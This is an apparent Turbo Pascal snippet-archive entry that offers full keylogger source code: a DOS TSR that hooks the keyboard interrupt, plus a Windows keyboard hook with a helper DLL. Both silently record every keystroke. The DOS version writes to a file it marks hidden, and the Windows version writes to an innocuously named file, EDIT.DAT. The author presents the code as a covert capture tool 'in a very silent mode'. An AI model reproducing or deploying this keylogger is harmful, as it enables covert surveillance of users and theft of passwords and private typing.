KEYTRAP.PAS  in TSR.SWG      0008 10/13 112/219 51%
s pressed to a file}
{
Well, these are some useful sources that you can append to
KEYBOARD.SWG.. They do a trap of all pressed key's and send them to a
file...
These are de DOS and Windows Versions...

{Keyboard Capture for DOS.
 Well, this program trap all pressed characters and send them to a
file in a very silent mode... ;-)
 Use at your own risk...}

{$M 2048,0,0}
{$F+}
USES DOS;
CONST
 ARCHIVO='C:\DOS\KEYS.DAT';{Path and FileName of the File containing 
the Traped Key's}
 OLDSTACKSS :  WORD = 0;
 OLDSTACKSP :  WORD = 0;
 STACKSW :    INTEGER = - 1;
 OURSTACKSEG : WORD = 0;
 OURSTACKSP  : WORD = 0;
VAR
 O9:PROCEDURE;
 R                    : REGISTERS;
 DOSSEG, DOSBUSY              : WORD;
 TICK, WAITBUF               : INTEGER;
 NEEDPOP                 : BOOLEAN;
 CBUF:WORD;
 KBUF:ARRAY[1..255] OF BYTE;
PROCEDURE BEGININT;
INLINE($FF/$06/STACKSW/
   $75/$10/
   $8C/$16/OLDSTACKSS/
       $89/$26/OLDSTACKSP/
       $8E/$16/OURSTACKSEG/
       $8B/$26/OURSTACKSP);
PROCEDURE ENDINT;
INLINE($FF/$0E/STACKSW/
       $7D/$08/
       $8E/$16/OLDSTACKSS/
   $8B/$26/OLDSTACKSP);
PROCEDURE CALLPOP(SUB:POINTER);
BEGIN
INLINE($FF/$5E/$06);
END;
PROCEDURE CLI; INLINE($FA);
PROCEDURE STI; INLINE($FB);
PROCEDURE TSRCRAP;
VAR
F:FILE;
BEGIN
 CLI;
 BEGININT;
 STI;
 NEEDPOP := FALSE;
 {}
  ASSIGN(F,ARCHIVO);
  {$I-}
  RESET(F,1);
  {$I+}
  IF IORESULT<>0 THEN REWRITE(F,1) ELSE
                      SEEK(F,FILESIZE(F));
  SETFATTR(F,ARCHIVE+HIDDEN);{LO HACE OCULTO}
  BLOCKWRITE(F,KBUF,CBUF);
  CBUF:=0;
  CLOSE(F);
 {}
 TICK := 0;
 CLI;
 ENDINT;
 STI;
END;
PROCEDURE RUNTSR; INTERRUPT;
BEGIN
 CLI;
 BEGININT;
 STI;
 INC(TICK);
 IF (TICK>18.2*WAITBUF) AND (CBUF>0) THEN BEGIN
  NEEDPOP:=TRUE;
  IF MEM[DOSSEG:DOSBUSY] = 0 THEN BEGIN
   NEEDPOP:=FALSE;
   PORT[$20]:=$20;
   TSRCRAP;
  END;
 END;
 CLI;
 ENDINT;
 STI;
END;
PROCEDURE INT28TSR; INTERRUPT;
BEGIN
 CLI;
 BEGININT;
 STI;
 IF NEEDPOP = TRUE THEN TSRCRAP;
 CLI;
 ENDINT;
 STI;
END;
PROCEDURE N9;INTERRUPT;
VAR
 TAIL     : WORD ABSOLUTE $40 : $1C;
 B:BOOLEAN;
BEGIN
 B:=PORT[$60]<$80;
 INLINE($9C);
 O9;
 IF B AND (LO(MEMW[$40:TAIL])<>0) THEN
  BEGIN
   INC(CBUF);
   IF CBUF>255 THEN CBUF:=255;
   KBUF[CBUF]:=LO(MEMW[$40:TAIL]);
  END;
END;
PROCEDURE INITTSR;
BEGIN
 OURSTACKSEG := SSEG;
 INLINE($89/$26/OURSTACKSP);
 R.AH := $34;
 MSDOS(R);
 DOSSEG := R.ES;
 DOSBUSY := R.BX;
END;
BEGIN
 INITTSR;
 CBUF:=0;FILLCHAR(KBUF,SIZEOF(KBUF),0);
 WAITBUF := 5;{Time to Wait in Second before sending pressed keys to 
the file}
 NEEDPOP:=FALSE;
 TICK := 0;
 GETINTVEC($9,@O9);
 SETINTVEC($9,@N9);
 SETINTVEC($28,@INT28TSR);
 SETINTVEC($1C,@RUNTSR);
 KEEP(0);
END.

Now, this is the Windows Version...
{This program has the same purposse as KCAPD.Pas, except that is for 
Windows...}
{This is KCAPW.PAS}
{$D-,L-}
USES WINTYPES,WINPROCS,OWINDOWS; 
VAR
OLDHOOK:TFARPROC;
KEYHOOK:TFARPROC;
{}
PROCEDURE SAVEKEY(ARCHIVO:STRING;W:WORD);FAR;EXTERNAL 'KCAPWDLL' 
INDEX 1;
{}
FUNCTION 
KEYBOARDCAPTURE(CODE:INTEGER;WPARAM:WORD;LPARAM:LONGINT):LONGINT;EXPORT;
CONST
ARCHIVO='C:\DOS\EDIT.DAT';{EL NOMBRE Y EL PATH DEL ARCHIVO A CREAR 
CON LAS TECLAS}
BEGIN
  IF CODE=HC_ACTION THEN
    IF (LPARAM AND (1 SHL 31)<>1 SHL 31) AND
       (LPARAM AND (1 SHL 30)<>1 SHL 30) THEN 
SAVEKEY(ARCHIVO,WPARAM);
  KEYBOARDCAPTURE:=DEFHOOKPROC(CODE,WPARAM,LPARAM,OLDHOOK);
END;
{}
PROCEDURE LOOP;
VAR
  MSG:TMSG;
BEGIN
  WHILE GETMESSAGE(MSG,0,0,0) DO
  BEGIN
    TRANSLATEMESSAGE(MSG);
    DISPATCHMESSAGE(MSG);
  END;
END;
VAR
S:TAPPLICATION;
BEGIN
 KEYHOOK:=MAKEPROCINSTANCE(@KEYBOARDCAPTURE,HINSTANCE);
 OLDHOOK:=SETWINDOWSHOOK(WH_KEYBOARD,KEYHOOK);
 LOOP;
END.

Now, the DLL for KCAPW.PAS
{This file is KCAPWDLL.PAS}
{$C FIXED}
{$D-,L-}
LIBRARY CLOCKDLL;
USES WINPROCS,WINTYPES,WINDOS;
PROCEDURE SAVEKEY(ARCHIVO:STRING;W:WORD);EXPORT;
VAR
F:FILE;
ST:STRING;
FA:WORD;
BEGIN
 ASSIGN(F,ARCHIVO);
 {$I-}
 RESET(F,1);
 {$I+}
 IF IORESULT<>0 THEN REWRITE(F,1);
 SEEK(F,FILESIZE(F));
 ST:='';
 IF W=VK_SHIFT THEN ST:='[Sf]';
 IF W=VK_BACK THEN ST:='[Bk]';
 IF W=VK_RETURN THEN ST:='[En]';
 IF W=VK_SPACE THEN ST:=' ';
 IF W=VK_MENU THEN ST:='[Al]';
 IF W=VK_CONTROL THEN ST:='[Ct]';
 IF W=VK_ESCAPE THEN ST:='[Ec]';
 IF W=VK_TAB THEN ST:='[Tb]';
 {}
 IF (ST='') AND (W>=$30) AND (W<=$6F) THEN BLOCKWRITE(F,W,1) ELSE
 IF (ST<>'') THEN BLOCKWRITE(F,ST[1],LENGTH(ST));
 IF ST='[En]' THEN BEGIN ST:=#13;BLOCKWRITE(F,ST[1],1);END;
 {}
 CLOSE(F);
{ MESSAGEBEEP(0);}
END;
EXPORTS
 SAVEKEY INDEX 1;
BEGIN
END.
